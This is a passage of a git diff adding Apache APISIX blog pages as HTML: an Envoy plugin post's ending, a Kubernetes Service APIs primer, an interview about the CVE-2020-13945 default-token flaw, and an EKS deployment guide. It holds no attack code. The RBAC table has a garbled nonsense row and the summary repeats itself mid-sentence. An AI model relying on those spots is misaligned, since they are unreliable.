+In the example, we configured plugin <code>uri-blocker</code> for the route whose prefix is <code>/foo</code>, as well as the block rule of the plugin and the response status when a block is required.</p>
+<h4 id="second-step-parse-request">Second step, parse request</h4>
+<p>We encapsulated the client request data into <code>ctx</code> so that it can be used directly in the entire process.</p>
+<h4 id="third-step-run-the-plugin">Third step, run the plugin</h4>
+<p>We determine whether we need to block this request by matching the configured rules and the obtained uri. If a block is needed, we call <code>respond</code> to directly respond, otherwise we let it go.</p>
+<h2 id="future-outlook">Future outlook</h2>
+<p>More and more APISIX plugins are available to run on Envoy, and finally all APISIX plugins (Even that will be developed in the future) will be available to run on Envoy.</p>
+<p>At the same time, we hope that we could work with the Envoy community in the direction of Lua Filter, optimize and improve Lua Filter, enhance the expansion capabilities of Envoy, and reduce the difficulty of Envoy expansion.</p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a hr [...]
\ No newline at end of file
diff --git a/blog/2020/12/18/first-look-at-kubernetes-service-api/index.html b/blog/2020/12/18/first-look-at-kubernetes-service-api/index.html
new file mode 100644
index 00000000000..0f0db7d99b5
--- /dev/null
+++ b/blog/2020/12/18/first-look-at-kubernetes-service-api/index.html
@@ -0,0 +1,163 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>A First Look at Kubernetes Service APIs | Apache APISIX</title><meta name="description" content="This article introduces the basic concepts of Kubernetes Service APIs, their main features, and the changes brought about by their implementation."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2020/12/18 [...]
+<p>This article provides a basic introduction to the Kubernetes Service APIs by asking questions. As a whole, the Kubernetes Service APIs refine many ingress best practices, such as expression enhancements that actually extend the capabilities of Route, and BackendPolicy objects that can specify almost any Kubernetes backend resource for upstream.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="preface">Preface</h2>
+<p>The author is an Apache APISIX PMC and Apache APISIX Ingress Controller Founder. Through research and community communication, I plan to gradually support Kubernetes Service APIs in later versions of Apache APISIX Ingress Controller.</p>
+<p>As we know, Kubernetes has a variety of solutions for exposing services inside the cluster, one of which is Ingress, a standard for exposing services to the public, and there are many third-party implementations of Ingress, each with its own technology stack and dependency on gateways that are not compatible with each other.</p>
+<p>To unify the various Ingress implementations and facilitate unified management on Kubernetes, the <a href="https://github.com/kubernetes/community/tree/master/sig-network">SIG-NETWORK</a> community has launched the <a href="https://gateway-api.sigs.k8s.io/">Kubernetes Service APIs</a>, a set of standard implementations called second-generation Ingress.</p>
+<h2 id="topic-description">Topic Description</h2>
+<p>This article provides an introduction to the basic concepts of Kubernetes Service APIs, starting with a few questions.</p>
+<h2 id="introduction">Introduction</h2>
+<h3 id="kubernetes-service-apis-is-called-the-second-generation-of-ingress-technology-in-what-ways-is-it-better-than-the-first-generation">Kubernetes Service APIs is called the second generation of Ingress technology, in what ways is it better than the first generation</h3>
+<p>The Kubernetes Service APIs were designed not to be limited to Ingress, but to enhance service networking by focusing on the following points: expressiveness, scalability, and RBAC.</p>
+<p>For example, traffic can be managed based on header, weighting</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="text"><code><span class="line"><span>kind: HTTPRoute</span></span>
+<span class="line"><span>apiVersion: networking.x-k8s.io/v1alpha1</span></span>
+<span class="line"><span>...</span></span>
+<span class="line"><span>matches:</span></span>
+<span class="line"><span> - path:</span></span>
+<span class="line"><span> value: "/foo"</span></span>
+<span class="line"><span> headers:</span></span>
+<span class="line"><span> values:</span></span>
+<span class="line"><span> version: "2"</span></span>
+<span class="line"><span> - path:</span></span>
+<span class="line"><span> value: "/v2/foo"</span></span></code></pre>
+<ol start="2">
+<li>The Service APIs propose the concept of multi-layer APIs, each layer exposes its interface independently to facilitate other custom resources to interface with the APIs and achieve finer granularity (API granularity) control.</li>
+</ol>
+<p><img src="https://gateway-api.sigs.k8s.io/images/api-model.png" alt="api-model"></p>
+<ol start="3">
+<li>Role-oriented RBAC: One of the ideas behind the multi-tier API implementation is to design resource objects from the user’s perspective. These resources are ultimately mapped to common roles for running applications on Kubernetes.</li>
+</ol>
+<h2 id="what-resource-objects-are-abstracted-by-the-kubernetes-service-apis">What resource objects are abstracted by the Kubernetes Service APIs</h2>
+<p>The Kubernetes Service APIs will define the following kinds of resources based on user roles.</p>
+<p>GatewayClass, Gateway, Route</p>
+<ol>
+<li>GatewayClass defines a set of gateway types with common configuration and behavior</li>
+</ol>
+<ul>
+<li>
+<p>relationship to the Gateway, similar to the ingress.class annotation in ingress.</p>
+</li>
+<li>
+<p>A GatewayClass defines a set of gateways that share the same configuration and behavior. Each GatewayClass will be handled by a single controller, and controllers have a one-to-many relationship with GatewayClass.</p>
+</li>
+<li>
+<p>A GatewayClass is a cluster resource. At least one GatewayClass must be defined to have a functional gateway.</p>
+</li>
+</ul>
+<ol start="2">
+<li>Gateway requests a point at which traffic can be converted to services within the cluster.</li>
+</ol>
+<ul>
+<li>
+<p>Role: Bringing traffic from outside the cluster inside the cluster. This is the true ingress entity.</p>
+</li>
+<li>
+<p>It defines a request for a specific LB configuration that is also the implementation of the GatewayClass configuration and behavior.</p>
+</li>
+<li>
+<p>Gateway resources can be created either directly by the operator or by the controller handling the GatewayClass.</p>
+</li>
+<li>
+<p>Gateway and Route are in a many-to-many relationship.</p>
+</li>
+</ul>
+<ol start="3">
+<li>the Route describes how traffic passing through the gateway is mapped to a service.</li>
+</ol>
+<p><img src="https://gateway-api.sigs.k8s.io/images/schema-uml.svg" alt="schema-uml"></p>
+<p>In addition, the Kubernetes Service APIs define a BackendPolicy resource object in order to enable flexible configuration of backend services.</p>
+<p>The BackendPolicy object allows you to configure TLS, health checks, and specify the type of backend service, such as service or pod.</p>
+<h2 id="what-changes-will-come-with-the-implementation-of-kubernetes-service-apis">What changes will come with the implementation of Kubernetes Service APIs</h2>
+<p>Kubernetes Service APIs, as an implementation standard, brings the following changes.</p>
+<ol>
+<li>
+<p>generality: there can be multiple implementations, just like there are multiple implementations of ingress. ingress controllers can be customized based on the characteristics of the gateway, but they all have a consistent configuration structure. A data structure, you can configure a variety of ingress controller.</p>
+</li>
+<li>
+<p>Class concept: GatewayClasses can be configured for different types of load balancing implementations. These class classes allow the user to easily and explicitly understand what functionality can be used as the resource model itself.</p>
+</li>
+<li>
+<p>By allowing independent routing resources HTTPRoute to be bound to the same GatewayClass, they can share load balancers and VIPs. layered by user, this allows teams to safely share infrastructure without having to care about the specific implementation of the lower level Gateway. 4.</p>
+</li>
+<li>
+<p>backend references with types: With backend references with types, routes can reference Kubernetes Services, or any type of Kubernetes resource designed as a gateway backend, such as a pod, or a statefulset such as a DB, or even an accessible cluster external resource.</p>
+</li>
+</ol>
+<p>Cross-namespace references: Routes across different namespaces can be bound to a Gateway, allowing access to each other across namespaces. It is also possible to restrict the range of namespaces that a Route under a Gateway can access.</p>
+<h2 id="what-ingress-implementations-of-kubernetes-service-apis-are-currently-available">What ingress implementations of Kubernetes Service APIs are currently available</h2>
+<p>The Ingress that are known to support Kubernetes Service APIs resource objects at the code level are Contour, ingress-gce.</p>
+<h2 id="how-kubernetes-service-apis-manage-resource-read-and-write-permissions">How Kubernetes Service APIs manage resource read and write permissions</h2>
+<p>The Kubernetes Service APIs are divided into 3 roles based on the user dimension</p>
+<ol>
+<li>
+<p>infrastructure provider GatewayClass</p>
+</li>
+<li>
+<p>cluster operator Gateway</p>
+</li>
+<li>
+<p>application developer Route</p>
+</li>
+</ol>
+<p>RBAC (Role Based Access Control) is the standard used for Kubernetes authorization. It allows users to configure who can perform operations on a specific range of resources. RBAC can be used to enable each of the roles defined above.</p>
+<p>In most cases, all roles are expected to be able to read all resources</p>
+<p>The three-tier model has the following write permissions.</p>
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+<table><thead><tr><th></th><th>GatewayClass</th><th>Gateway</th><th>Route</th></tr></thead><tbody><tr><td>Infrastructure Provider</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Cluster Operators</td><td>No</td><td>Yes</td><td>Yes</td></tr><tr><td>The Kubernetes Service Provider is a service provider that provides a variety of services to the Kubernetes community.</td><td></td><td></td><td></td></tr></tbody></table>
+<h2 id="what-are-the-extension-points-for-kubernetes-service-apis">What are the extension points for Kubernetes Service APIs</h2>
+<p>The Kubernetes Service APIs refine the multi-tier resource object, but also leave some extension points open.</p>
+<p>Currently, the Kubernetes Service APIs are focused on Route.</p>
+<ul>
+<li>
+<p>RouteMatch extends Route matching rules.</p>
+</li>
+<li>
+<p>Specify Backend extends specific types of backend services, such as file systems, function expressions, etc., in addition to the Kubernetes resources mentioned above.</p>
+</li>
+<li>
+<p>Route filter adds extensions to the Route lifecycle to handle requests/response.</p>
+</li>
+<li>
+<p>Custom Route can be fully customized if none of the above extensions are met.</p>
+</li>
+</ul>
+<h2 id="summary">Summary</h2>
+<p>This article provides a basic introduction to the Kubernetes Service APIs by asking questions. As a whole, the Kubernetes Service APIs refine a lot of ingress best practices, such as the enhancement of expression capabilities, which actually extends the capabilities of the Route, and the BackendPolicy object The Kubernetes Service APIs as a whole refine a lot of ingress best practices, such as the enhanced expressiveness, which actually extends the capabilities of Route, and the Backe [...]
+<p>Reference:</p>
+<ul>
+<li><a href="https://gateway-api.sigs.k8s.io/">https://gateway-api.sigs.k8s.io/</a></li>
+<li><a href="https://www.apiseven.com/zh/blog/a-first-look-at-kubernetes-service-api">https://www.apiseven.com/zh/blog/a-first-look-at-kubernetes-service-api</a></li>
+<li><a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></li>
+<li><a href="https://github.com/apache/apisix-ingress-controller">https://github.com/apache/apisix-ingress-controller</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/01/11/interview-apache-apisix-contributor-wang-pengcheng-senior-security-advisor-of-pwc-south-china-data-security-and-privacy-protection-team/index.html b/blog/2021/01/11/interview-apache-apisix-contributor-wang-pengcheng-senior-security-advisor-of-pwc-south-china-data-security-and-privacy-protection-team/index.html
new file mode 100644
index 00000000000..15c1af96fa9
--- /dev/null
+++ b/blog/2021/01/11/interview-apache-apisix-contributor-wang-pengcheng-senior-security-advisor-of-pwc-south-china-data-security-and-privacy-protection-team/index.html
@@ -0,0 +1,18 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>APISIX CVE-2020-13945: Admin API Token Flaw | Apache APISIX</title><meta name="description" content="PwC security advisor Pengcheng Wang reported CVE-2020-13945, an Admin API default token vulnerability in APISIX. Read the full interview."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/01/11/inte [...]
+<p>Recently, Pengcheng Wang, a senior security consultant from PwC’s South China Data Security and Privacy team, reported the first CVE for Apache APISIX to the National Information Security Vulnerability Sharing Platform (CNVD) and the Apache Software Foundation: Apache APISIX Admin API Default Token Vulnerability (CVE-2020- 13945). To thank Pengcheng for his contribution to the Apache APISIX community, we also had an interview with Pengcheng.</p>
+</blockquote>
+<!--truncate-->
+<h2 id="contributor-profile">Contributor Profile</h2>
+<p>Pengcheng Wang is a senior security consultant in PwC South China data security and privacy team. He provides data security and privacy compliance consulting, red-blue confrontation, security operations and other technical services for many leading companies, and currently holds many security certifications such as cisp/cisp-pte/cisp-dsg/CEH/iso27701/ccsk.</p>
+<h2 id="interview-text">Interview Text</h2>
+<p><strong>Editor</strong>: Congratulations to Pengcheng! And thank you for your contribution to the Apache APISIX community! Can you tell us a little bit about yourself and your team?</p>
+<p><strong>Pengcheng</strong>: I’m Pengcheng Wang, from the PwC Guangzhou Data Security and Privacy team, providing data security and privacy consulting services to PwC clients. As a security consultant and open source technology enthusiast, I am quite excited to help the team get the first CVE and also make a little contribution to Apache APISIX.</p>
+<p><strong>Editor</strong>: PricewaterhouseCoopers is an accounting firm in most people’s mind, but I didn’t expect that it also provides professional security services. How did you learn about Apache APISIX?</p>
+<p><strong>Pengcheng</strong>: PwC not only provides traditional financial audit services, but now also provides a series of security testing and privacy compliance consulting services such as security operations, enterprise security consulting, data security and compliance, privacy consulting, Internet of Vehicles, Internet of Things, etc. In the middle of 2020, when we did penetration testing on several clients, we found that they all used Apache APISIX, an open source product as an AP [...]
+<p><strong>Editor</strong>: Our team also has colleagues from a security background, and we understand how important security is for a product. Are there any other issues with Apache APISIX that you have found in your security testing?</p>
+<p><strong>Pengcheng</strong>: Not yet. The previous test was just a shallow security test from a black-box perspective, and we will try to white-box audit the code to see if there are other vulnerabilities from a security perspective. If found, will also be the first time to report to the Apache Software Foundation security department, to contribute to the open source community.</p>
+<p><strong>Editor</strong>: Thank you very much to Pengcheng and PwC Guangzhou data security and privacy protection team colleagues! For open source projects, not only is code and documentation a contribution, but reporting on security issues is also a very important contribution! Do you have any plans for follow-up?</p>
+<p><strong>Pengcheng</strong>: Our team will actively participate in the Apache APISIX community to help the community prevent and discover security risks as early as possible, so that everyone can use a safe and secure API gateway.</p>
+<h2 id="first-cve-for-apache-apisix">First CVE for Apache APISIX</h2>
+<p>The first CVE for Apache APISIX: Apache APISIX Admin API Default Token Vulnerability (CVE-2020-13945), see <a href="https://nvd.nist.gov/vuln/detail/CVE-2020-13945">Security Vulnerability Details</a> for detail.</p>
+<p><img src="https://static.apiseven.com/202108/1639461621848-2d567a42-7cab-44ab-8afc-a9c80c8a3ab8.png" alt="2021-01-11-1"></p> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/secur [...]
\ No newline at end of file
diff --git a/blog/2021/01/21/run-ingress-apisix-on-amazon-eks/index.html b/blog/2021/01/21/run-ingress-apisix-on-amazon-eks/index.html
new file mode 100644
index 00000000000..689f6d6e006
--- /dev/null
+++ b/blog/2021/01/21/run-ingress-apisix-on-amazon-eks/index.html
@@ -0,0 +1,87 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Run Ingress APISIX on Amazon EKS | Apache APISIX</title><meta name="description" content="This article details how to run the cloud-native API gateway Apache APISIX and apisix-ingress-controller on Amazon EKS."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/01/21/run-ingress-apisix-on-amazon-eks/ [...]
+<p>Amazon EKS provides flexibility to start, run, and scale Kubernetes applications in the AWS cloud or on-premises. This article explains how to run Ingress APISIX on it.This article explains how to run Ingress APISIX on Amazon EKS.</p>
+</blockquote>
+<!--truncate-->
+<p>This post is based on <a href="http://apisix.apache.org/docs/ingress-controller/deployments/aws/">Install Ingress APISIX on Amazon EKS</a>.</p>
+<p>Amazon Elastic Kubernetes Service (<a href="https://amazonaws-china.com/eks/?whats-new-cards.sort-by=item.additionalFields.postDateTime&whats-new-cards.sort-order=desc&eks-blogs.sort-by=item.additionalFields.createdDate&eks-blogs.sort-order=desc">Amazon EKS</a>) gives you the flexibility to start, run, and scale Kubernetes applications in the AWS cloud or on-premises. This article explains how to run Ingress APISIX on it.</p>
+<p>Ingress APISIX brings good features (traffic splitting, multiple protocols, authentication and etc) of Apache APISIX to Kubernetes, with a well-designed Controller component to drive it, which helps users to achieve complex demands for the north-south traffic.</p>
+<h2 id="prerequisites">Prerequisites</h2>
+<p>Before you go ahead, make sure you have an available EKS cluster on Amazon AWS. If you don’t have one, please create it according to the guide.</p>
+<p>You shall have kubectl tool in your own environment, set the context to your EKS cluster by running:</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">aws</span><span style="color:#A5D6FF"> eks</span><span style="color:#A5D6FF"> update-kubeconfig</span><span style="color:#79C0FF"> --name</span><span style="color:#FF7B72"> <</span><span style="color:#A5D6FF">your</span><span style="color:#A5D6FF"> eks</span><span style="color:#A5D6FF"> c [...]
+<p>After the Kubernetes cluster is ready, creating the namespace ingress-apisix, all subsequent resources will be created at this namespace.</p>
+<p>kubectl create namespace ingress-apisix</p>
+<p>We use <a href="https://helm.sh/">Helm</a> to deploy all components in Ingress APISIX (<a href="https://github.com/apache/apisix">Apache APISIX</a> and <a href="https://github.com/apache/apisix-ingress-controller">apisix-ingress-controller</a>), so please also install Helm according to its installation guide. The helm charts for Apache APISIX and apisix-ingress-controller are in apache/apisix-helm-chart and apache/apisix-ingress-controller, clone them to get the charts.</p>
+<h2 id="install-apache-apisix">Install Apache APISIX</h2>
+<p>Apache APISIX as the proxy plane of apisix-ingress-controller, should be deployed in advance.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#79C0FF">cd</span><span style="color:#A5D6FF"> /path/to/apisix-helm-chart</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> repo</span><span style="color:#A5D6FF"> add</span><span style="color:#A5D6FF"> bitnami</span><span style="color:#A5D6FF"> https://charts.bitnami.com/bitnami</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> dependency</span><span style="color:#A5D6FF"> update</span><span style="color:#A5D6FF"> ./chart/apisix</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> apisix</span><span style="color:#A5D6FF"> ./chart/apisix</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> gateway.type=LoadBalancer</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> allow.ipList="{0.0.0.0/0}"</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> service</span><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span></span></code></pre>
+<p>The above commands created two Kubernetes Service resources, one is <code>apisix-gateway</code>, which processes the real traffic; another is <code>apisix-admin</code>, which acts as the control plane to process all the configuration changes. Here we created the <code>apisix-gateway</code> as a <code>LoadBalancer</code> type Service, which resorts the <a href="https://docs.aws.amazon.com/elasticloadbalancing/latest/network/introduction.html">AWS Network Balancer</a> to expose it to th [...]
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> get</span><span style="color:#A5D6FF"> service</span><span style="color:#A5D6FF"> apisix-gateway</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#E6EDF3">--namespace </span><span style="color:#A5D6FF">ingress-apisix</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#E6EDF3">-o </span><span style="color:#A5D6FF">jsonpath='{.status.loadBalancer.ingress[].hostname}'</span></span></code></pre>
+<p>Another thing should be concerned that the <code>allow.ipList</code> field should be customized according to the <a href="https://amazonaws-china.com/premiumsupport/knowledge-center/eks-multiple-cidr-ranges/">EKS CIDR Ranges</a> in your EKS cluster, so that the apisix-ingress-controller can be authorized by Apache APISIX (for the resources pushing).</p>
+<p>See <a href="https://github.com/apache/apisix-helm-chart/blob/master/charts/apisix/values.yaml">values.yaml</a> to learn all the configuration items if you have other requirements.</p>
+<h2 id="install-apisix-ingress-controller">Install apisix-ingress-controller</h2>
+<p>After Apache APISIX is deployed successfully, now it’s time to install the controller component.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#79C0FF">cd</span><span style="color:#A5D6FF"> /path/to/apisix-ingress-controller</span></span>
+<span class="line"><span style="color:#8B949E"># install base resources, e.g. ServiceAccount.</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> ingress-apisix-base</span><span style="color:#79C0FF"> -n</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#A5D6FF"> ./charts/base</span></span>
+<span class="line"><span style="color:#8B949E"># install apisix-ingress-controller</span></span>
+<span class="line"><span style="color:#FFA657">helm</span><span style="color:#A5D6FF"> install</span><span style="color:#A5D6FF"> ingress-apisix</span><span style="color:#A5D6FF"> ./charts/ingress-apisix</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> ingressController.image.tag=dev</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> ingressController.config.apisix.baseURL=http://apisix-admin:9180/apisix/admin</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --set</span><span style="color:#A5D6FF"> ingressController.config.apisix.adminKey={YOUR</span><span style="color:#A5D6FF"> ADMIN</span><span style="color:#A5D6FF"> KEY}</span><span style="color:#FF7B72"> \</span></span>
+<span class="line"><span style="color:#79C0FF"> --namespace</span><span style="color:#A5D6FF"> ingress-apisix</span></span></code></pre>
+<p>The ingress-apisix-base chart installed some basic dependencies for apisix-ingress-controller, such as ServiceAccount, its exclusive CRDs and etc.</p>
+<p>The ingress-apisix chart guides us how to install the controller itself, you can change the image tag to the desired release version, also the value of <code>ingressController.config.apisix.adminKey</code> in above mentioned commands should be filled according to your practical usage (and be sure the admin key is same as the on in Apache APISIX deployment). See <a href="https://github.com/apache/apisix-helm-chart/blob/master/charts/apisix-ingress-controller/values.yaml">values.yaml</a [...]
+<p>Now try to open your EKS console, choosing your cluster and clicking the Workloads tag, you shall see all pods of Apache APISIX, etcd and apisix-ingress-controller are ready.</p>
+<h2 id="test">Test</h2>
+<p>Now we have deployed all components in Ingress APISIX, it’s important to check whether it runs well. We will deploy a httpbin service and ask Apache APISIX to route all requests with Host <code>"local.httpbin.org"</code> to it.</p>
+<p>The first step we should do is created the httpbin workload and expose it.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> run</span><span style="color:#A5D6FF"> httpbin</span><span style="color:#79C0FF"> --image</span><span style="color:#A5D6FF"> kennethreitz/httpbin</span><span style="color:#79C0FF"> --port</span><span style="color:#79C0FF"> 80</span></span>
+<span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> expose</span><span style="color:#A5D6FF"> pod</span><span style="color:#A5D6FF"> httpbin</span><span style="color:#79C0FF"> --port</span><span style="color:#79C0FF"> 80</span></span></code></pre>
+<p>In order to let Apache APISIX routes requests correctly, we need create an ApisixRoute resource to drive it.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#8B949E"># ar-httpbin.yaml</span></span>
+<span class="line"><span style="color:#FFA657">apiVersion:</span><span style="color:#A5D6FF"> apisix.apache.org/v1</span></span>
+<span class="line"><span style="color:#FFA657">kind:</span><span style="color:#A5D6FF"> ApisixRoute</span></span>
+<span class="line"><span style="color:#FFA657">metadata:</span></span>
+<span class="line"><span style="color:#FFA657"> name:</span><span style="color:#A5D6FF"> httpserver-route</span></span>
+<span class="line"><span style="color:#FFA657">spec:</span></span>
+<span class="line"><span style="color:#FFA657"> rules:</span></span>
+<span class="line"><span style="color:#FFA657"> -</span><span style="color:#A5D6FF"> host:</span><span style="color:#A5D6FF"> local.httpbin.org</span></span>
+<span class="line"><span style="color:#FFA657"> http:</span></span>
+<span class="line"><span style="color:#FFA657"> paths:</span></span>
+<span class="line"><span style="color:#FFA657"> -</span><span style="color:#A5D6FF"> backend:</span></span>
+<span class="line"><span style="color:#FFA657"> serviceName:</span><span style="color:#A5D6FF"> httpbin</span></span>
+<span class="line"><span style="color:#FFA657"> servicePort:</span><span style="color:#79C0FF"> 80</span></span>
+<span class="line"><span style="color:#FFA657"> path:</span><span style="color:#A5D6FF"> /</span><span style="color:#79C0FF">*</span></span></code></pre>
+<p>The above ApisixRoute resource asks Apache APISIX to route requests which Host header is <code>"local.httpbin.org"</code> to the httpbin backend (the one we just created).</p>
+<p>Now try to apply it, note the service and the ApisixRoute resource should be put in the same namespace., crossing namespaces is not allowed in apisix-ingress-controller.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">kubectl</span><span style="color:#A5D6FF"> apply</span><span style="color:#79C0FF"> -f</span><span style="color:#A5D6FF"> ar-httpbin.yaml</span></span></code></pre>
+<p>Test it by a simple curl call from a place where the Apache APISIX service is reachable.</p>
+<pre class="astro-code github-dark-default" style="background-color:#0d1117;color:#e6edf3; overflow-x: auto;" tabindex="0" data-language="shell"><code><span class="line"><span style="color:#FFA657">$</span><span style="color:#A5D6FF"> curl</span><span style="color:#A5D6FF"> http://{apisix-gateway-ip}:{apisix-gateway-port}/headers</span><span style="color:#79C0FF"> -s</span><span style="color:#79C0FF"> -H</span><span style="color:#A5D6FF"> 'Host: local.httpbin.org'</span></span>
+<span class="line"></span>
+<span class="line"><span style="color:#E6EDF3">{</span></span>
+<span class="line"><span style="color:#FFA657"> "headers"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> {</span></span>
+<span class="line"><span style="color:#FFA657"> "Accept"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "*/*",</span></span>
+<span class="line"><span style="color:#FFA657"> "Host"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "httpbin.org",</span></span>
+<span class="line"><span style="color:#FFA657"> "User-Agent"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "curl/7.64.1",</span></span>
+<span class="line"><span style="color:#FFA657"> "X-Amzn-Trace-Id"</span><span style="color:#79C0FF">:</span><span style="color:#A5D6FF"> "Root=1-5ffc3273-2928e0844e19c9810d1bbd8a"</span></span>
+<span class="line"><span style="color:#E6EDF3"> }</span></span>
+<span class="line"><span style="color:#E6EDF3">}</span></span></code></pre>
+<p>If the Service type is <code>ClusterIP,</code> you have to login to a pod in the EKS cluster, then accessing Apache APISIX with its <code>ClusterIP</code> or Service FQDN. If it was exposed (no matter <code>NodePort</code> or <code>LoadBalancer</code>), just accessing its outside reachable endpoint.</p>
+<h2 id="see-also">See Also</h2>
+<ul>
+<li><a href="https://www.apiseven.com/zh/blog/a-first-look-at-kubernetes-service-api">https://www.apiseven.com/zh/blog/a-first-look-at-kubernetes-service-api</a></li>
+<li><a href="https://www.apiseven.com/zh/blog/another-way-to-implement-envoy-filter">https://www.apiseven.com/zh/blog/another-way-to-implement-envoy-filter</a></li>
+<li><a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></li>
+<li><a href="https://github.com/apache/apisix-helm-chart">https://github.com/apache/apisix-helm-chart</a></li>
+<li><a href="https://github.com/apache/apisix-ingress-controller">https://github.com/apache/apisix-ingress-controller</a></li>
+</ul> </article> </div> </main> <footer class="site-footer"> <div class="container"> <div class="footer-cols"> <div> <h4>ASF</h4> <ul> <li><a href="https://www.apache.org/">Foundation</a></li><li><a href="https://www.apache.org/licenses/">License</a></li><li><a href="https://www.apache.org/events/current-event">Events</a></li><li><a href="https://www.apache.org/security/">Security</a></li><li><a href="https://www.apache.org/foundation/sponsorship.html">Sponsorship</a></li><li><a href="h [...]
\ No newline at end of file
diff --git a/blog/2021/02/08/stable-product-delivery-with-cypress/index.html b/blog/2021/02/08/stable-product-delivery-with-cypress/index.html
new file mode 100644
index 00000000000..b898e999ba7
--- /dev/null
+++ b/blog/2021/02/08/stable-product-delivery-with-cypress/index.html
@@ -0,0 +1,94 @@
+<!DOCTYPE html><html lang="en"> <head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1"><title>Stable Product Delivery with Cypress | Apache APISIX</title><meta name="description" content="Why APISIX Dashboard uses Cypress for E2E testing. Learn the setup, configuration, and best practices for stable product delivery."><meta name="robots" content="index,follow"><link rel="canonical" href="https://apisix.apache.org/blog/2021/02/08/stable-product-del [...]
+<p>This article explains how Yi Sun, GitHub ID <a href="https://github.com/LiteSun">@LiteSun</a>, became Apache APISIX Committer from <a href="https://www.apiseven.com/">API7.ai</a>, implements stable product delivery with Cypress.</p>
+</blockquote>
+<!--truncate-->
+<blockquote>
+<p>Source:</p>
+<ul>
+<li><a href="https://github.com/apache/apisix">https://github.com/apache/apisix</a></li>
+<li><a href="https://github.com/apache/apisix-dashboard">https://github.com/apache/apisix-dashboard</a></li>
+</ul>
+</blockquote>
+<h2 id="background">Background</h2>
